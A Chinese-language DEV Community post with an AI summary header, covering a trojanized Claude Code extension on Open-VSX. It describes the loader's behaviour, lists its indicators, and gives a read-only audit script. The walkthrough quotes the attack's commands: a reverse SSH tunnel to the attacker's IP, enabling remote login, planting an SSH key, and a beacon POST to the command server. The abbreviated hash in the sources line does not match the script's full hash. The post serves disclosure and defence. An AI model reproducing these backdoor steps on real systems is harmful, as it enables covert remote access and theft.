跳到正文
DEV Community· Sam LABBE·· 2 小時前精選AI 評分78

Open-VSX 上的 VS Code 擴充功能 anthropic.claude-code@2.1.313 遭植入 SSH 後門,作者提供七項檢查

A trojanized Claude Code extension plants an SSH backdoor: the 7-point audit for your machine

AI 導讀

Open-VSX 上的 VS Code 擴充功能 anthropic.claude-code@2.1.313 遭植入惡意載入程式,會在 VS Code 啟動載入時執行,新增 SSH 公鑰、開啟遠端登入並建立反向隧道。

推薦理由

文章把惡意擴充功能的持久化與 SSH 通道拆成七項 IOC,並附上唯讀檢查腳本,讀者可據此核對相關檔案、程序和雜湊。

正文 · 繁體中文

今早發生的供應鏈事件;我寫下這段文字時,事件發生才兩小時:VS Code 擴充功能 anthropic.claude-code@2.1.313 在 Open-VSX 上被植入木馬,由一名 Anthropic 員工的帳戶發佈,而惡意版本在正版程式碼前插入了一個 66 行的載入程式。你不必與 Claude 對話、不必點擊任何東西,也不必批准任何內容:VS Code 啟動時載入該擴充功能,便會執行惡意程式碼。它會盤點你的電腦、將名為 svc-telemetry 的 SSH 金鑰加入你的 authorized_keys、啟用遠端登入、開啟通往攻擊者伺服器的反向通道,並以偽裝成 com.apple.sysmond 的 LaunchAgent 維持持久性。完整分析已公開;本文會以淺白步驟説明其運作機制、列出所有 IOC,並提供一個我已在自己電腦上執行過的唯讀稽核指令碼。每位 Claude Code、Cursor、Windsurf 或 VS Code 用戶今晚都應執行該指令碼。

這是本月本網誌報道的第四宗 Agent 供應鏈事件,也是最貼身的一宗:LiteLLM 竊取你的程式碼執行時使用的憑證,Gheist 收集 CI 持有的機密,而現在,你的 Agent 所在的工具本身就是投放器。攻擊界線不斷向內推進。

載入程式的運作方式:逐步拆解

木馬化版本與正版版本只有一個檔案不同,即 extension.js;該檔案在原有程式碼前加上了一段 IIFE(匯入 process、fs、os、http、crypto)。沒有 npm 生命週期指令碼,也沒有複雜的封裝方式。接着,擴充功能載入時會:

  1. 偵察:hostname、username、作業系統及架構、主目錄、git 電郵地址,以及最多 40 個符合 KEY、TOKEN、SECRET、PASS、AWS、GCP 的環境變數名稱。這個階段只收集名稱,不收集值:藉此盤點你擁有哪些項目。

  2. SSH 存取:建立 ~/.ssh(0700),並將一個註解為 svc-telemetry 的 Ed25519 公開金鑰加入 authorized_keys(0600)。指紋:SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk。

  3. 啟用遠端存取:在 macOS 上執行 sudo -n systemsetup -setremotelogin on(若你的用戶帳戶可免密碼使用 sudo,便會成功;否則會無聲失敗);在 Linux 上啟用 sshd;在 Windows 上安裝 OpenSSH Server。

  4. 反向通道:將內嵌的私鑰解碼至 ${TMPDIR}/.stk_<id>,並循環執行 ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22',停用主機金鑰檢查,每 60 秒重新連線一次(如有 autossh 則使用)。現在,他們的伺服器可以透過你自己的對外連線,從任何地方連入你的 SSH。

  5. 持久性:macOS LaunchAgent com.apple.sysmond.plist(RunAtLoad、KeepAlive),名稱刻意取成像系統守護程序;Linux @reboot crontab;Windows 排程工作 SysMon,以 SYSTEM 身分執行。

  6. 信標:1.5 秒後,從 ifconfig.me 或 api.ipify.org 取得你的公開 IP 位址,並將偵察資料 JSON POST 至 http://134.209.82.225:8099/beacon。回應會被忽略;在此樣本中未發現第二階段下載器。

發現此事的功勞歸於 Dean Hardcastle,他即時目睹整個過程。分析人員亦特別提醒:木馬化樣本來自 Open-VSX;Microsoft Marketplace 上的版本「為審慎起見」而被下架,而目前公開的資訊並無證據證明 Anthropic 自身的基礎設施遭到入侵。發佈者帳戶的情況仍未明朗。

稽核:7 項檢查、唯讀,退出代碼會告訴你結果

我根據已公開的 IOC 編寫了這個掃描指令碼,並在撰寫本文前於自己的電腦上執行。唯讀:只會檢查,絕不會修改任何內容。

#!/bin/sh
# hunt_claude_ext.sh - IOC sweep for trojanized anthropic.claude-code@2.1.313
set -u
FOUND=0
hit()  { FOUND=$((FOUND+1)); echo "[!!] $1"; }
clean(){ echo "[ok] $1"; }

# 1. the SSH backdoor key
grep -q "svc-telemetry" "$HOME/.ssh/authorized_keys" 2>/dev/null \
  && hit "authorized_keys contains the svc-telemetry backdoor key" \
  || clean "authorized_keys has no svc-telemetry key"

# 2. the disguised LaunchAgent
[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
  && hit "rogue LaunchAgent com.apple.sysmond.plist present" \
  || clean "no rogue com.apple.sysmond LaunchAgent"

# 3. marker files
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
  [ -f "$f" ] && hit "marker file $f present"
done
clean "no .smt/.smtk/smt.cmd markers"

# 4. reverse-tunnel key drops
ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
  && hit "tunnel key .stk_* in TMPDIR" || clean "no .stk_* in TMPDIR"

# 5. live tunnel process
pgrep -af ssh 2>/dev/null | grep -Eq "134\.209\.82\.225|-R \*:0:localhost:22" \
  && hit "live ssh process matching the C2 tunnel signature" \
  || clean "no ssh process matching the C2 tunnel"

# 6. the extension itself: hash every installed copy's loader
EXT_HASH="ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
for d in "$HOME/.vscode/extensions"/anthropic.claude-code-* \
         "$HOME/.vscode-server/extensions"/anthropic.claude-code-* \
         "$HOME/.cursor/extensions"/anthropic.claude-code-*; do
  [ -f "$d/extension.js" ] || continue
  [ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$EXT_HASH" ] \
    && hit "$d/extension.js MATCHES the trojan hash"
done
clean "no installed extension.js matching the trojan hash"

# 7. macOS Remote Login unexpectedly on
sudo -n systemsetup -getremotelogin 2>/dev/null | grep -q "On" \
  && echo "[??] Remote Login is ON, verify you enabled it yourself" \
  || clean "Remote Login off"

echo "== $FOUND indicator(s) found =="
[ "$FOUND" -gt 0 ] && exit 1 || exit 0

我今晚在正在打字使用的這部電腦上執行的結果:

[ok] authorized_keys has no svc-telemetry key
[ok] no rogue com.apple.sysmond LaunchAgent
[ok] no .smt/.smtk/smt.cmd markers
[ok] no .stk_* in TMPDIR
[ok] no ssh process matching the C2 tunnel
[ok] no installed extension.js matching the trojan hash
[ok] Remote Login off
== 0 indicator(s) found ==   (exit 0)

一次檢查結果乾淨,不代表往後一直安全(分析的樣本只是一個版本;操作者會持續改動),但它回答了今晚的問題。如果任何一項檢查有異常:將裝置從網絡中斷開,從另一部乾淨的系統更換憑證(他們有理由盤點你的環境變數名稱),保留相關證據,然後重建系統。互動式 SSH 存取權限代表你找到的任何線索,都可能低估實際發生的情況。

再次提醒:固定你執行的內容

三點結構性觀察,因為這種機制會重演:

  • Open-VSX 和 Marketplace 提供的內容可以隨時更改。 發佈者帳戶(此處是一名 Anthropic 員工的帳戶;帳戶如何被取得仍是個疑問)可以替換受信任擴充功能的程式碼,而每個啟用自動更新的用戶端都會收到新內容。一秒內就能攔截這種情況的防禦措施是固定雜湊值,但幾乎沒有人會為擴充功能這樣做。腳本中的第 6 項檢查就是這個做法:在你有意安裝時,記錄所安裝的每個重要項目載入器的 shasum -a 256。
  • 「載入即執行。」酬載在擴充功能啟動時執行,早於用戶與工具進行任何互動。認為「只有在我選擇使用時才會執行」的心智模型,無法應對擴充功能實際載入的方式。
  • 持久化機制的名稱是社交工程產物。 com.apple.sysmond, SysMon, svc-telemetry:這次攻擊中的每個 IOC 都經過設計,能躲過隨手執行的 ls。因此,稽核會核對確切名稱和確切雜湊值,而不是憑感覺判斷。

本月截至目前的紀錄:最受歡迎的 LLM 代理工具有兩個遭入侵版本、13,500 個會洩露機密資料的 CI 工作流程、背景 Agent 的對話紀錄被傳送給模型,現在又出現一個帶有 SSH 持久化機制的木馬化 Agent 擴充功能。Agent 本身不是漏洞,圍繞它們形成的生態系統才是。

重點:Open-VSX 上遭木馬化的 anthropic.claude-code@2.1.313 會在擴充功能載入時於電腦植入後門:SSH 金鑰 svc-telemetry、開啟遠端登入、反向通道連至 134.209.82.225、偽裝成 com.apple.sysmond 的 LaunchAgent。上文提供七項唯讀稽核檢查;我的電腦沒有發現任何指標。執行自己的檢查,為安裝內容固定雜湊值;如有任何檢查發現異常,請從乾淨的電腦更換憑證並重建系統。

來源:OpenSourceMalware:遭木馬化的 Claude Code 擴充功能植入 SSH 後門 · IOC:extension.js SHA-256 ecb58cb2…c6bf15、C2 134.209.82.225(22, 8099)、金鑰指紋 SHA256:0Z6R+…htk

來源:DEV Community · dev.to